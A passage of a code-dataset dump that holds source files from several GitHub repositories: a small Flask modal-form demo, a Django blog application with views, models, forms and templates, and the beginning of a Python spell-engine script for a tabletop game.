django.apps import AppConfig\n\n\nclass PyatlConfig(AppConfig):\n name = 'pyatl'\n" } ]
9
chen19901225/bootstrap_modal_form_demo
https://github.com/chen19901225/bootstrap_modal_form_demo
23cd1f5cb9649b36eafaea28c95fff35ac133d96
d3e13495411ce39a4619a0b1d7c0f7ae68e46572
75dcbba073f50c70aaad21b5d01df6c1631df459
refs/heads/master
2021-01-10T13:37:50.195689
2016-03-21T15:26:53
2016-03-21T15:26:53
54,327,673
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7025411128997803, "alphanum_fraction": 0.7144992351531982, "avg_line_length": 36.11111068725586, "blob_id": "262d0a32480674787ea1ccc6623f947ca8a99f03", "content_id": "1d86eefdc34c0552ba7db6445cf3fc30aef64955", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 693, "license_type": "no_license", "max_line_length": 108, "num_lines": 18, "path": "/forms.py", "repo_name": "chen19901225/bootstrap_modal_form_demo", "src_encoding": "UTF-8", "text": "# coding:utf-8\nfrom flask.ext.wtf import Form\nfrom wtforms import IntegerField, StringField\nfrom wtforms.validators import DataRequired\nfrom wtforms import validators\n\n\nclass AddChannelForm(Form):\n agent_id = IntegerField(validators=[DataRequired(\"A agent_id is required\")])\n channel_name = StringField(validators=[DataRequired(), validators.Length(max=255, message=u'最大长度为255')])\n\n def clean_channel_name(self):\n channel_name = self.cleaned_data['channel_name']\n agent_id = self.cleaned_data['agent_id']\n if agent_id == 0 and channel_name == 'baidu':\n raise validators.ValidationError(u'渠道名已被注册')\n\n return channel_name\n\n" }, { "alpha_fraction": 0.6559849381446838, "alphanum_fraction": 0.6635249853134155, "avg_line_length": 24.878047943115234, "blob_id": "00c95c4a411a728096567e693fa7dd30048a8d00", "content_id": "45e91b1442700fc18f85085968c4e37e14caad66", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1065, "license_type": "no_license", "max_line_length": 64, "num_lines": 41, "path": "/one.py", "repo_name": "chen19901225/bootstrap_modal_form_demo", "src_encoding": "UTF-8", "text": "# coding:utf-8\nimport flask\nfrom flask import Flask\nfrom flask.ext.wtf import CsrfProtect\n\nfrom forms import AddChannelForm\n\napp = Flask(__name__)\n# csrf = CsrfProtect()\n# csrf.init_app(app)\n# app.config.setdefault('WTF_CSRF_SECRET_KEY', \"showmethemoney\")\napp.config.setdefault('WTF_CSRF_ENABLED', False)\n\n\[email protected]('/', methods=['GET', 'POST'])\ndef index():\n return flask.render_template('index.html')\n\n\[email protected]('/channel/new', methods=['POST', ])\ndef create_new_channel():\n request = flask.request\n agent_id = request.form.get('agent_id')\n if agent_id == 100:\n return flask.jsonify(status='error', msg=u'agent_id不对')\n form = AddChannelForm()\n if form.validate_on_submit():\n return flask.jsonify(status='success')\n return flask.jsonify(status='error', msg=form.errors)\n\n\[email protected]('/validate/channel', methods=['POST'])\ndef unique_channel_name():\n form = AddChannelForm()\n if form.validate_on_submit():\n return \"true\"\n return \"false\"\n\n\nif __name__ == '__main__':\n app.run(debug=True, host='0.0.0.0')\n" } ]
2
pavansaigadde/django_blog_project
https://github.com/pavansaigadde/django_blog_project
051e8c6c884181a35fece2963f20e489bd951f26
59936e702cd8426443989275932f050ad04ab5c8
fa7a772a3d575580270a0034a070cc38f591a84e
refs/heads/master
2023-07-18T01:12:58.052955
2021-08-31T12:40:54
2021-08-31T12:40:54
357,481,174
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5020833611488342, "alphanum_fraction": 0.706250011920929, "avg_line_length": 16.77777862548828, "blob_id": "08e2ad2fee5c3218c6e205041e9f323e0d00ea47", "content_id": "9050efccf472006a571c3396350d3d2aded74a90", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 480, "license_type": "no_license", "max_line_length": 24, "num_lines": 27, "path": "/blog_project/requirements.txt", "repo_name": "pavansaigadde/django_blog_project", "src_encoding": "UTF-8", "text": "argon2-cffi==20.1.0\nasgiref==3.3.1\nbcrypt==3.2.0\nbeautifulsoup4==4.9.3\nboto3==1.17.53\nbotocore==1.20.53\ncffi==1.14.5\nDjango==3.1.7\ndjango-bootstrap4==2.3.1\ndjango-braces==1.14.0\ndjango-ckeditor==6.0.0\ndjango-js-asset==1.2.2\ndjango-storages==1.11.1\nFaker==6.5.0\njmespath==0.10.0\nPillow==8.1.1\npycparser==2.20\nPygments==2.8.1\npython-dateutil==2.8.1\npython-decouple==3.4\npytz==2021.1\ns3transfer==0.3.7\nsix==1.15.0\nsoupsieve==2.2.1\nsqlparse==0.4.1\ntext-unidecode==1.3\nurllib3==1.26.4\n" }, { "alpha_fraction": 0.7797833681106567, "alphanum_fraction": 0.7797833681106567, "avg_line_length": 33.75, "blob_id": "7a15ce84bf14cd7ef5a36e871740f54e9974556c", "content_id": "052964fcff744d85a79fa2f8cc6a73ec528bf0ae", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 277, "license_type": "no_license", "max_line_length": 62, "num_lines": 8, "path": "/blog_project/.env.example", "repo_name": "pavansaigadde/django_blog_project", "src_encoding": "UTF-8", "text": "SECRET_KEY = Your django secret key in settings.py\nDEBUG = True\nAWS_ACCESS_KEY = Access key of the user for programatic access\nAWS_SECRET_ACCESS_KEY = Secret access key\nRDS_NAME = database name\nRDS_USERNAME = username\nRDS_PASSWORD = database password\nRDS_HOST_NAME = database hostname" }, { "alpha_fraction": 0.6869339942932129, "alphanum_fraction": 0.6869339942932129, "avg_line_length": 44.52941131591797, "blob_id": "acfeb258177197f3d632cba382bc15f63a4606da", "content_id": "5e78c80953a794f5f954c482ab23373bae6897b6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 773, "license_type": "no_license", "max_line_length": 72, "num_lines": 17, "path": "/blog_project/blog/urls.py", "repo_name": "pavansaigadde/django_blog_project", "src_encoding": "UTF-8", "text": "from django.urls import path\nfrom . import views\napp_name='blog'\n \nurlpatterns=[\n\tpath('',views.PostList.as_view(),name='index'),\n\tpath('post/<int:pk>/',views.PostDetail.as_view(),name='detail'),\n\tpath('post/new/',views.PostCreate.as_view(),name='create'),\n\tpath('post/edit/<int:pk>/',views.PostUpdate.as_view(),name='update'),\n\tpath('post/delete/<int:pk>/',views.PostDelete.as_view(),name='delete'),\n\t#path('comment/<int:pk>/',views.comment,name='comment'),\n\tpath('comment/<int:pk>/',views.PostDetail.as_view(),name='comment'),\n\tpath('publish/<int:pk>/',views.publish,name='publish'),\n\tpath('drafts/',views.DraftList.as_view(),name='drafts'),\n\tpath('save_draft/<int:pk>',views.save_draft,name='save_draft'),\n\tpath('my_posts/',views.MyPostList.as_view(),name='my_posts'),\n]" }, { "alpha_fraction": 0.7389916777610779, "alphanum_fraction": 0.749202311038971, "avg_line_length": 33.043479919433594, "blob_id": "58429aea7f5e92c986dbe3769427315fe7fa4742", "content_id": "aa71719c443a4be3dd1785c05c89b51ea6bdf902", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1567, "license_type": "no_license", "max_line_length": 93, "num_lines": 46, "path": "/blog_project/blog/models.py", "repo_name": "pavansaigadde/django_blog_project", "src_encoding": "UTF-8", "text": "from django.db import models\nfrom django.contrib.auth.models import User\nfrom django.utils import timezone\nfrom django.urls import reverse\nfrom ckeditor.fields import RichTextField\nfrom PIL import Image\nfrom django.core.files.storage import default_storage \n\n# Create your models here.\nclass Post(models.Model):\n\n\ttitle = models.CharField(max_length=100) \n\t#content = models.TextField()\n\tcontent = RichTextField(blank=True,null=True)\n\tcreated_date = models.DateTimeField(default=timezone.now)\n\tpublished_date = models.DateTimeField(blank=True,null=True)\n\timage = models.ImageField(default='default.jpg',upload_to='post_images',blank=True)\n\tauthor = models.ForeignKey(User,related_name='posts',on_delete=models.CASCADE,default='')\n\n# Edit the size of profile pic before saving\n# This works only on local file system not in AWS S3\n#\tdef save(self):\n#\t\tsuper().save()\n#\t\timg = Image.open(self.image.path)\n#\t\tif img.height>300 and img.width>300:\n#\t\t\toutput_size = (300,300)\n#\t\t\timg.thumbnail(output_size)\n#\t\t\timg.save(self.image.path)\n\n\tdef publish(self):\n\t\tself.published_date=timezone.now()\n\t\tself.save()\n\n\tdef __str__(self):\n\t\treturn self.title\n\n\tdef get_absolute_url(self):\n\t\treturn reverse('blog:detail',kwargs={'pk':self.pk})\n\t\t#return reverse('blog:my_posts')\n\nclass Comment(models.Model):\n\tcontent = models.TextField()\n\tcreated_date=models.DateTimeField(default=timezone.now)\n\tpost = models.ForeignKey (Post,related_name='comments',\n\t\t\t\t\t\t\ton_delete=models.CASCADE)\n\tauthor = models.ForeignKey(User,related_name='comments',on_delete=models.CASCADE,default='')\n\n" }, { "alpha_fraction": 0.7592592835426331, "alphanum_fraction": 0.7962962985038757, "avg_line_length": 26.16666603088379, "blob_id": "62f0a8dd6f74e4a5a107516d00e6ba638d1a702c", "content_id": "e6c5a29456d25df61512a275d61f35f88e73265d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 162, "license_type": "no_license", "max_line_length": 52, "num_lines": 6, "path": "/blog_project/blog_project/storage_backends.py", "repo_name": "pavansaigadde/django_blog_project", "src_encoding": "UTF-8", "text": "from storages.backends.s3boto3 import S3Boto3Storage\n \nclass MediaStorage(S3Boto3Storage):\n\tlocation = 'media'\n\tdefault_acl = 'public-read'\n\tfile_overwrite= False" }, { "alpha_fraction": 0.7189781069755554, "alphanum_fraction": 0.7189781069755554, "avg_line_length": 20.153846740722656, "blob_id": "a61419dc98b8de5aa37874547462e687027483f3", "content_id": "797dc85ceff890bdcddcb2c8692e6c89b58de122", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 274, "license_type": "no_license", "max_line_length": 41, "num_lines": 13, "path": "/blog_project/blog/comment_form.py", "repo_name": "pavansaigadde/django_blog_project", "src_encoding": "UTF-8", "text": "from django import forms\nfrom .models import Post,Comment\n\n\nclass CommentForm(forms.ModelForm):\n\n\tclass Meta:\n\t\tmodel=Comment \n\t\tfields=('content','post')\n\n\t\twidgets={'content':forms.TextInput(\n\t\t\t\tattrs={'placeholder':'Add Comment'}),\n\t\t\t\t'post':forms.widgets.HiddenInput,}" }, { "alpha_fraction": 0.6057142615318298, "alphanum_fraction": 0.6171428561210632, "avg_line_length": 20.9375, "blob_id": "59ebaa8b9941b2c772d15c3b3d64155a2fa7d834", "content_id": "b25a1fa71011060879e41931fc2bb6d12e6d7964", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 350, "license_type": "no_license", "max_line_length": 78, "num_lines": 16, "path": "/blog_project/users/templates/users/profile_edit.html", "repo_name": "pavansaigadde/django_blog_project", "src_encoding": "UTF-8", "text": "{% extends 'blog/base.html' %}\n{% load bootstrap4 %}\n{% block content %}\n\n \n <h4>Edit :</h4>\n <form method='POST' enctype='multipart/form-data'>\n \t{% csrf_token %}\n \t{% bootstrap_form user_form %}<br>\n \t{% bootstrap_form bloguser_form %}\n \t<input class='btn btn-primary border-top mt-2'type=\"submit\" value=\"Update\">\n\n </form>\n\n\n{% endblock %}" }, { "alpha_fraction": 0.5560975670814514, "alphanum_fraction": 0.6024390459060669, "avg_line_length": 20.578947067260742, "blob_id": "c9a4b1771a9ffea707d90da964ebb35458049723", "content_id": "6d187df5211cb980336fd4902a1105b71be9278c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 410, "license_type": "no_license", "max_line_length": 71, "num_lines": 19, "path": "/blog_project/blog/migrations/0006_auto_20210410_1038.py", "repo_name": "pavansaigadde/django_blog_project", "src_encoding": "UTF-8", "text": "# Generated by Django 3.1.7 on 2021-04-10 05:08\n\nimport ckeditor.fields\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('blog', '0005_post_image'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='post',\n name='content',\n field=ckeditor.fields.RichTextField(blank=True, null=True),\n ),\n ]\n" }, { "alpha_fraction": 0.7352415323257446, "alphanum_fraction": 0.7352415323257446, "avg_line_length": 26.592592239379883, "blob_id": "72c1660bfefc605fc185d5f26265ee29cb9daca6", "content_id": "558cb4aa7259d76e6314c654f6fe5849afe4a5bf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2236, "license_type": "no_license", "max_line_length": 77, "num_lines": 81, "path": "/blog_project/users/views.py", "repo_name": "pavansaigadde/django_blog_project", "src_encoding": "UTF-8", "text": "from django.shortcuts import render,redirect\nfrom django.http import HttpResponse\nfrom .forms import UserForm,BlogUserForm,UpdateUserForm\nfrom django.contrib import messages\nfrom django.contrib.auth import login,logout,authenticate\nfrom .models import BlogUser \nfrom django.contrib.auth.models import User\nfrom blog.models import Post,Comment\nfrom django.contrib.auth.decorators import login_required\nfrom django.core.files.storage import default_storage \n \n# Register view\n \ndef register(request):\n\n\tif request.method == 'POST':\n\t\tuser_form = UserForm(request.POST)\n\t\tbloguser_form = BlogUserForm(request.POST)\n\t\tif user_form.is_valid() and bloguser_form.is_valid() :\n\t\t\tusername = user_form.cleaned_data.get('username')\n\t\t\tmessages.success(request,f'Account created for {username}!')\n\t\t\tuser = user_form.save()\n\n\t\t\tprofile = bloguser_form.save(commit=False)\n\t\t\t# Create one to one relationship\n\t\t\tprofile.user = user \n\t\t\tif 'profile_pic' in request.FILES:\n\t\t\t\tprofile.profile_pic = request.FILES['profile_pic']\n \n\t\t\tprofile.save()\n\t\n\t\t\treturn redirect(\"login\")\n\n\telse:\n\t\tuser_form=UserForm()\n\t\tbloguser_form = BlogUserForm()\n\treturn render(request,'users/register.html',{'user_form':user_form,\n\t\t\t\t\t\t\t\t\t\t\t'bloguser_form':bloguser_form})\n\n\n\ndef profile(request):\n \n\treturn render(request,'users/profile.html',{}) \n\n\ndef post_user_profile(request,pk):\n\t\n\tpost = Post.objects.get(pk=pk)\n\n\treturn render(request,'users/post_user_profile.html',{'post':post})\n\ndef comment_user_profile(request,pk):\n\n\tcomment = Comment.objects.get(pk=pk)\n\treturn render(request,'users/comment_user_profile.html',{'comment':comment})\n\t\n\ndef profile_edit(request,pk):\n\n\tif request.method == 'POST':\n\n\n\n\t\tuser_form = UpdateUserForm(request.POST,instance=request.user)\n\t\tbloguser_form = BlogUserForm(request.POST,request.FILES,\n\t\t\t\t\t\t\t\t\tinstance=request.user.bloguser)\n\n\t\tif user_form.is_valid() and bloguser_form.is_valid():\n\n\t\t\tuser = user_form.save()\n\t\t\tblog_user = bloguser_form.save()\n\t\t\t\n\t\t\treturn redirect('profile')\n\telse:\n\t\tuser_form = UpdateUserForm(instance=request.user)\n\t\tbloguser_form = BlogUserForm(instance=request.user.bloguser)\n\n\n\treturn render(request,'users/profile_edit.html',{'user_form':user_form,\n\t\t\t\t\t\t\t'bloguser_form':bloguser_form}) \n" }, { "alpha_fraction": 0.7548845410346985, "alphanum_fraction": 0.7548845410346985, "avg_line_length": 19.88888931274414, "blob_id": "4720d579975db70777221398068ba646ee883dfe", "content_id": "87b8b1a25ae54c9cfb8a3439a069cf6fcd909149", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 563, "license_type": "no_license", "max_line_length": 55, "num_lines": 27, "path": "/blog_project/users/forms.py", "repo_name": "pavansaigadde/django_blog_project", "src_encoding": "UTF-8", "text": "from django import forms\nfrom django.contrib.auth.forms import UserCreationForm\n\nfrom django.contrib.auth.models import User\nfrom .models import BlogUser\n\n# Form based on in built Usercreationform\nclass UserForm(UserCreationForm):\n\temail=forms.EmailField()\n\tclass Meta:\n\t\tmodel=User\n\t\tfields=('username','email','password1','password2')\n\n\nclass BlogUserForm(forms.ModelForm):\n\n\tclass Meta:\n\t\tmodel=BlogUser\n\t\tfields=('profile_pic',)\n\n\n\nclass UpdateUserForm(forms.ModelForm):\n\temail=forms.EmailField()\n\tclass Meta:\n\t\tmodel = User \n\t\tfields = ('username','email')" }, { "alpha_fraction": 0.6032482385635376, "alphanum_fraction": 0.6171693801879883, "avg_line_length": 25.9375, "blob_id": "d64222cae7526a72767663399e3b57d8584848d6", "content_id": "9aee1e7b1903690fe510df0ea27c02f31055fc42", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 431, "license_type": "no_license", "max_line_length": 97, "num_lines": 16, "path": "/blog_project/users/templates/users/login.html", "repo_name": "pavansaigadde/django_blog_project", "src_encoding": "UTF-8", "text": " {% extends 'blog/base.html' %}\n{% load bootstrap4 %}\n{% block content %}\n\t<div class='container-fluid mt-2'>\n\t\t<h2>Login</h2>\n\t<form method='POST'>\n\t\t{% csrf_token %}\n\t\t{%bootstrap_form form%}\n\t\t<input class='btn btn-primary border-top mt-2'type=\"submit\" value=\"Login\">\n\t</form>\n\t\n\t<div class=' pt-3'></div>\n\t<small class='text-muted'>Don't have a account? <a href=\"{% url 'register'%}\">Signup</a></small>\n\n\t</div>\n{% endblock %}" }, { "alpha_fraction": 0.7392482161521912, "alphanum_fraction": 0.7412800788879395, "avg_line_length": 25.375, "blob_id": "32c5e27d90abbf6f051d810cef251344db52218b", "content_id": "d45f8def05d1d1b0a345763c67ebf81e9598d8f1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2953, "license_type": "no_license", "max_line_length": 68, "num_lines": 112, "path": "/blog_project/blog/views.py", "repo_name": "pavansaigadde/django_blog_project", "src_encoding": "UTF-8", "text": "from django.shortcuts import render,get_object_or_404,redirect\nfrom .models import Post,Comment\nfrom django.views.generic import (ListView,DetailView,\n\t\t\t\t\t\t\t\t\t\t\t\tCreateView,\n\t\t\t\t\t\t\t\t\t\t\t\tUpdateView,DeleteView)\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.urls import reverse_lazy,reverse\nfrom .comment_form import CommentForm\nfrom django.views.generic.edit import FormMixin\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib import messages\nfrom django.core.files.storage import default_storage \n \ndef index(request):\n\tposts = Post.objects.all()\n\treturn render(request,'blog/index.html',context={'posts':posts})\n\n@login_required\ndef publish(request,pk):\n\t#Create post model -Object\n\t#post = get_object_or_404(Post)\n\tpost = Post.objects.get(pk=pk)\n\tpost.publish()\n\n\tmessages.info(request,f'Post - \"{post.title}\" has been published!')\n\treturn redirect('blog:index')\n\t#return render(request,'blog/index.html',{})\n\ndef save_draft(request,pk):\n\tpost=Post.objects.get(pk=pk)\n\treturn redirect('blog:drafts')\n\nclass DraftList(LoginRequiredMixin,ListView):\n\tmodel=Post\n\ttemplate_name='blog/drafts.html'\n\tcontext_object_name='posts'\n\tordering=['-created_date']\n\n#listview\nclass PostList(ListView):\n\tmodel=Post \n\ttemplate_name='blog/index.html'\n\tcontext_object_name='posts'\n\tordering=['-published_date']\n\n#DetailView\n# With comment form\nclass PostDetail(FormMixin,DetailView):\n\tmodel = Post\n\tcontext_object_name='post'\n\tform_class=CommentForm \n\n\tdef get_success_url(self):\n\t\treturn reverse('blog:detail',kwargs={'pk':self.object.id})\n\n\tdef get_context_data(self,**kwargs):\n\t\tcontext = super(PostDetail,self).get_context_data(**kwargs)\n\t\tcontext['form']=CommentForm(initial={'post':self.object})\n\t\treturn context\n\n\tdef post(self,*args,**kwargs):\n\t\tself.object = self.get_object()\n\t\tform = self.get_form()\n\t\tif form.is_valid():\n\t\t\treturn self.form_valid(form)\n\t\telse:\n\t\t\treturn self.form_invalid(form)\n\n\tdef form_valid(self,form):\n\t\tform.instance.author = self.request.user\n\t\tform.save()\n\t\treturn super().form_valid(form)\n \n\n#Create View\nclass PostCreate(LoginRequiredMixin,CreateView):\n\tmodel = Post \n\tfields=('title','content','image')\n\n\tdef form_valid(self,form):\n\t\t# Set author to current logged in user\n\t\tform.instance.author = self.request.user\n\t\treturn super(PostCreate,self).form_valid(form)\n\n#Update view\nclass PostUpdate(LoginRequiredMixin,UpdateView):\n\tmodel = Post \n\tfields=('title','content','image')\n\n\tdef form_valid(self,form):\n\n\t\tmessages.info(self.request,f'Blog has been Edited!')\n\t\tform.save()\n\t\treturn super().form_valid(form)\n\n\n#Delete View\nclass PostDelete(LoginRequiredMixin,DeleteView):\n\tmodel=Post\n\tcontext_object_name='post'\n\tsuccess_url = reverse_lazy('blog:index')\n\n\n\n####\n#My Post List - User specific\n#listview\nclass MyPostList(LoginRequiredMixin,ListView):\n\tmodel=Post \n\ttemplate_name='blog/my_post_list.html'\n\tcontext_object_name='posts'\n\tordering=['-published_date']" }, { "alpha_fraction": 0.5234741568565369, "alphanum_fraction": 0.5962441563606262, "avg_line_length": 22.66666603088379, "blob_id": "d362d1133bb8ebb70c5a9d81b3a39785cb13240f", "content_id": "ef4dc44f53d750db6b42929e5bab83e8dbafc559", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 426, "license_type": "no_license", "max_line_length": 96, "num_lines": 18, "path": "/blog_project/blog/migrations/0009_auto_20210412_1238.py", "repo_name": "pavansaigadde/django_blog_project", "src_encoding": "UTF-8", "text": "# Generated by Django 3.1.7 on 2021-04-12 07:08\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('blog', '0008_auto_20210412_1230'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='post',\n name='image',\n field=models.ImageField(blank=True, default='default.jpg', upload_to='post_images'),\n ),\n ]\n" }, { "alpha_fraction": 0.6199095249176025, "alphanum_fraction": 0.6289592981338501, "avg_line_length": 9.333333015441895, "blob_id": "17807d7728d5d525ab0208b644bd524205496bdc", "content_id": "e8320d97c0fd43c05ab81092d98d96ee4419e3c8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 221, "license_type": "no_license", "max_line_length": 83, "num_lines": 21, "path": "/README.md", "repo_name": "pavansaigadde/django_blog_project", "src_encoding": "UTF-8", "text": "\n# django_blog_project\n\n## Description:\n\nBlogging website where users can create a profile and start create their own blogs.\n\n## Tools:\n \n Django - Backend\n \n HTML\n \n CSS\n \n Bootstrap\n \n S3\n \n EC2\n \n RDS\n \n" } ]
14
Vadskye/spell-engine
https://github.com/Vadskye/spell-engine
d60f81da2f673066c32a242f1badee9cc3a2a349
4b590fa69b14e887b2dd6f6e61fd937686438d30
0ee895aaf1c47e87c6b7832da9f2661f78870810
refs/heads/master
2020-12-24T13:52:27.617605
2016-04-12T02:42:01
2016-04-12T02:42:01
35,400,217
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5573992133140564, "alphanum_fraction": 0.5603080987930298, "avg_line_length": 33.67045593261719, "blob_id": "ff97dd8af62092102c114eedd682c80ccc101ba8", "content_id": "0d5c39e317fdc3e360f0a8a82e4ac205487bd727", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 24408, "license_type": "no_license", "max_line_length": 111, "num_lines": 704, "path": "/new/spell_engine.py", "repo_name": "Vadskye/spell-engine", "src_encoding": "UTF-8", "text": "from docopt import docopt\nimport yaml\n\ndoc = \"\"\"\nUsage:\n spell_engine items [-v | --verbose] [-t | --tofile] [-a=<ability> | --ability=<ability>]\n spell_engine spells [-v | --verbose] [-t | --tofile] [-a=<ability> | --ability=<ability>]\n spell_engine (-h | --help)\n\nOptions:\n -a, --ability=<ability> Only show information for the given ability\n -h, --help Show this screen and exit\n -v, --verbose Show more output\n\"\"\"\n\n# let's declare some things we know about the properties\n\n# this is the list of all valid property names\nKNOWN_ABILITY_PROPERTIES = [\n 'attack subeffects',\n 'area',\n 'battlefield effects',\n 'breakable',\n 'buffs',\n 'casting time',\n 'choose effect',\n 'components',\n 'conditions',\n 'damage',\n 'dispellable',\n 'duration',\n 'expended',\n 'instant effect',\n 'knowledge',\n 'limit affected',\n 'misc',\n 'noncombat',\n 'range',\n 'shapeable',\n 'spell resistance',\n 'subeffects',\n 'targets',\n 'teleport',\n 'trigger',\n]\n\n# exactly one of these properties must be present in any given ability\nPRIMARY_PROPERTIES = [\n 'attack subeffects',\n 'battlefield effects',\n 'buffs',\n 'conditions',\n 'damage',\n 'knowledge',\n 'instant effect',\n 'subeffects',\n 'teleport',\n]\n\n# all of these properties must be present in every ability\nREQUIRED_PROPERTIES = [\n 'range',\n 'targets',\n]\n\n# these properties are sometimes written in the yaml file in singular form\n# they should be converted to arrays for consistency\nPLURAL_KEY_MAPPINGS = {\n 'battlefield effect': 'battlefield effects',\n 'buff': 'buffs',\n 'condition': 'conditions',\n}\n\n# these properties have default values\nDEFAULT_PROPERTY_VALUES = {\n 'casting time': 'standard',\n 'components': 'all',\n 'dispellable': True,\n 'range': 'touch',\n 'spell resistance': True,\n 'targets': 'one',\n}\n\n\ndef import_yaml_file(file_name):\n with open(file_name, 'r') as yaml_file:\n data = yaml.load(yaml_file)\n\n # handle $ref inheritance\n for key in data:\n if '$ref' in data[key]:\n parent_name = data[key]['$ref']\n try:\n parent = data[parent_name]\n except KeyError:\n raise Exception(\n \"Undefined $ref to parent '{0}'\".format(parent_name)\n )\n new_thing = parent.copy()\n new_thing.update(data[key])\n del new_thing['$ref']\n data[key] = new_thing\n return data\n# these modifiers are used in Ability\nRAW_MODIFIERS = import_yaml_file('modifiers.yaml')\n\n\ndef is_close(x, y, threshold=1):\n \"\"\"Test whether x is within <threshold> of y\n\n Args:\n x (int)\n y (int)\n threshold (int)\n\n Yields:\n bool\n \"\"\"\n return abs(x - y) <= threshold\n\n\nclass Ability:\n def __init__(self, name, properties):\n self.name = name\n\n # meta stuff to strip from properties before processing\n self.skip_validation = properties.pop('skip validation', False)\n\n self.properties = dict()\n for property_name in properties:\n property_value = properties[property_name]\n\n # convert singular keys to plural keys\n if property_name in PLURAL_KEY_MAPPINGS:\n property_name = PLURAL_KEY_MAPPINGS[property_name]\n property_value = [property_value]\n\n # set the property\n self.properties[property_name] = property_value\n\n # set default values\n for property_name in DEFAULT_PROPERTY_VALUES:\n if (self.properties.get(property_name) is None\n or self.properties[property_name] == [None]):\n self.properties[property_name] = \\\n DEFAULT_PROPERTY_VALUES[property_name]\n\n self.generate_derived_properties()\n self.validate()\n\n def generate_derived_properties(self):\n # generate area_size, area_shape, and area_type\n if self.area is None:\n self.area_size = None\n self.area_shape = None\n self.area_type = None\n else:\n try:\n self.area_size, self.area_shape, self.area_type = \\\n self.area.split()\n except KeyError:\n self.die(\"has invalid area '{0}'\".format(\n self.area\n ))\n\n # generate duration_type\n if self.duration is None:\n self.duration_type = None\n else:\n if self.buffs is not None:\n if self.range == 'personal':\n self.duration_type = 'personal buff'\n elif self.noncombat:\n self.duration_type = 'noncombat buff'\n elif self.trigger:\n self.duration_type = 'trigger'\n else:\n self.duration_type = 'nonpersonal buff'\n elif self.knowledge is not None:\n self.duration_type = 'personal buff'\n elif self.battlefield_effects is not None:\n self.duration_type = 'battlefield effect'\n elif self.conditions is not None:\n self.duration_type = 'condition'\n elif self.damage is not None:\n self.duration_type = 'damage over time'\n elif self.has_subeffects:\n self.duration_type = 'subeffect'\n else:\n self.die(\"could not determine duration_type\")\n\n # generate limit_affected_type\n if self.limit_affected is None:\n self.limit_affected_type = None\n else:\n if self.buffs is not None:\n self.limit_affected_type = 'buff'\n else:\n self.limit_affected_type = 'normal'\n\n # generate targets_type\n if self.area is not None:\n self.targets_type = 'area'\n else:\n self.targets_type = 'normal'\n\n def get_modifier(self, property_name):\n \"\"\"Get the modifier for a given property name\n\n Args:\n property_name (str)\n\n Yields:\n int\n \"\"\"\n modifier_function_name = \"_{0}_modifier\".format(\n property_name.replace(' ', '_')\n )\n return getattr(self, modifier_function_name)()\n\n @property\n def has_subeffects(self):\n return (self.attack_subeffects is not None\n or self.subeffects is not None)\n\n def validate(self):\n if self.skip_validation:\n return\n\n # make sure there are no unrecognized properties\n for property_name in self.properties:\n if property_name not in KNOWN_ABILITY_PROPERTIES:\n self.die(\"has unknown property '{0}'\".format(\n property_name\n ))\n\n # make sure that all required properties are present\n for property_name in REQUIRED_PROPERTIES:\n if property_name not in self.properties:\n self.die(\"must have property '{0}'\".format(\n property_name\n ))\n\n # make sure the ability has exactly one primary property\n primary_property_count = 0\n for property_name in PRIMARY_PROPERTIES:\n if property_name in self.properties:\n primary_property_count += 1\n break\n if not primary_property_count:\n self.die(\"must have a primary property\")\n if primary_property_count > 1:\n self.die(\"must have exactly one primary property\")\n\n # here we check a bunch of weird edge cases\n\n # make sure that values which are not calculated for the root level\n # of abilities with subeffects are not present there\n if self.has_subeffects:\n for property_name in ['duration', 'dispellable']:\n if (property_name in self.properties\n and self.properties[property_name] != DEFAULT_PROPERTY_VALUES[property_name]):\n self.warn(\"has property '{0}' that should only be in its subeffects\".format(property_name))\n\n # make sure that modifiers which should be positive are\n for property_name in PRIMARY_PROPERTIES:\n if (property_name in self.properties\n and self.get_modifier(property_name) <= 0):\n self.warn(\"has nonpositive property '{0}'\".format(\n property_name\n ))\n # also check that each subability is individually positive\n if self.subeffects is not None:\n for subeffect_properties in self.subeffects:\n subability = self.create_subability(subeffect_properties)\n if subability.level() <= 0:\n self.warn(\"has nonpositive subeffect with level {}\".format(\n subability.level()\n ))\n # attack subeffects are also handled better below\n # this won't catch errors such as 'success' being < 3\n if self.attack_subeffects is not None:\n for property_name in ['critical success', 'effect', 'failure',\n 'noncritical effect', 'success']:\n if property_name in self.attack_subeffects:\n subability = self.create_subability(self.attack_subeffects[property_name])\n if subability.level() <= 0:\n self.warn(\"has nonpositive attack subeffect '{}' with level {}\".format(\n property_name,\n subability.level()\n ))\n\n # abilities with a duration must have something to apply\n # the duration to\n need_duration = (self.battlefield_effects is not None\n or self.buffs is not None\n or self.conditions is not None\n or self.knowledge is not None)\n if (self.duration is not None\n and not need_duration):\n self.die(\"has duration with no 